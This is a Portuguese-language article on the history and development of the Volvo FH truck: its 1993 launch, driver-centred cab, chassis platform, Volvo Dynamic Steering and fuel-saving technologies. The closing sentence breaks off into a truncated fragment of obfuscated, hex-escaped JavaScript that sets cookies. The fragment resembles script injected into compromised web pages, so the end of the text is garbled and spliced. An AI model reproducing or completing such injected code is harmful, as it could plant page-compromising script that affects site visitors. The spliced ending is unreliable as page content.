Volvo FH

Volvo FH

O Volvo FH é um enorme sucesso. E as inovações que beneficiam motoristas, proprietários, segurança e negócios continuam mudando o jogo. “Você precisa nutrir uma cultura que permita que as pessoas explorem novas ideias. E uma estrutura que implementa as ideias que criam valor para os clientes .

Em 1993, a Volvo Trucks apresentou ao mundo o mais avançado dos caminhões: o Volvo FH.

Com recursos como o motor D12A e o freio motor Volvo, as especificações técnicas impressionam. Mas talvez ainda mais impressionante fosse o foco no motorista. O Volvo FH foi – e continua a ser – o sonho de um piloto. A nova cabine reconheceu a situação dos motoristas. O caminhão é um local de trabalho não apenas ao dirigir, mas também ao descansar ou dormir. Através de extensos testes com mais de 1.500 motoristas e usuários de caminhões, a Volvo Trucks conseguiu construir uma nova cabine de baixo para cima que criou uma nova experiência.

“Nós colocamos o motorista no centro do palco. E ainda o fazemos ”, afirma Mats Karlsson Lindh, diretor de planejamento de produtos da Group Trucks Technology.

Hoje, o Volvo FH continua a avançar na experiência de caminhões. Com características como a exclusiva Direção Dinâmica da Volvo, que aperfeiçoa o controle da direção e reduz ao mesmo tempo as lesões por esforço do motorista, a Volvo Trucks continua impulsionando o progresso.

A história por trás do Volvo FH começou em meados dos anos 80. A Volvo Trucks tinha uma ampla gama de caminhões para muitos mercados, mas havia a necessidade de um processo melhorado e uma plataforma de programa de produto comum. Com a FH, a Volvo Trucks criou um modelo para inovações futuras. Um dos principais avanços no desenvolvimento foi o novo chassi. O design dinâmico deu aos engenheiros um terreno comum para continuar desenvolvendo e criar recursos personalizados para cada necessidade.

“Eu descrevi essa melhoria do processo industrial como um transplante de coração e cérebro para a Volvo Trucks. Isso mudou a maneira como trabalhamos ”, diz Jan Johnsson, que trabalhou como gerente de projetos na época.

Como mencionado, o Volvo FH é um caminhão de motorista, mas a Volvo também reconhece as necessidades de negócios para os clientes. Isso foi tão importante no lançamento quanto é hoje. A pesquisa aerodinâmica que fizeram sobre o projeto foi sem precedentes. Isso permitiu um menor consumo de combustível para os clientes.

O chassi também foi feito com um claro foco de negócios, com soluções flexíveis para diferentes cargas úteis. Hoje, a Volvo Trucks não deixa pedra sobre pedra na busca por mais soluções de corte de combustível para os clientes. O software I-shift atualizado, o elevador de eixo tandem, o cooler I-park, o treinamento FuelWar para motoristas e o controle de cruzeiro preditivo I-see são apenas algumas das inovações recentes que melhoram o resultado para os clientes.

O progresso nunca pára. E o FH continua melhorando. Na Volvo Trucks, o trabalho continua: Muitas vezes começaram com um problema real do cliente. Por exemplo, a Direção Dinâmica da Volvo – um dos pontos de partida foi que queríamos encontrar uma solução para reduzir o esforço de direção nas rotatórias. Durante essa pesquisa, encontraram tantas novas possibilidades que algo muito mais avançado evoluiu: o VDS como o conhecemos hoje.

A criatividade e a criação de boas ideias são duas partes importantes do processo que leva a inovações bem-sucedidas. O trabalho duro é outro.

Você tem que medir na longa e dura tarefa. Todos os recursos foram testados e experimentados por anos antes de funcionar da maneira que queremos – e, assim como nossos clientes esperam. ,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]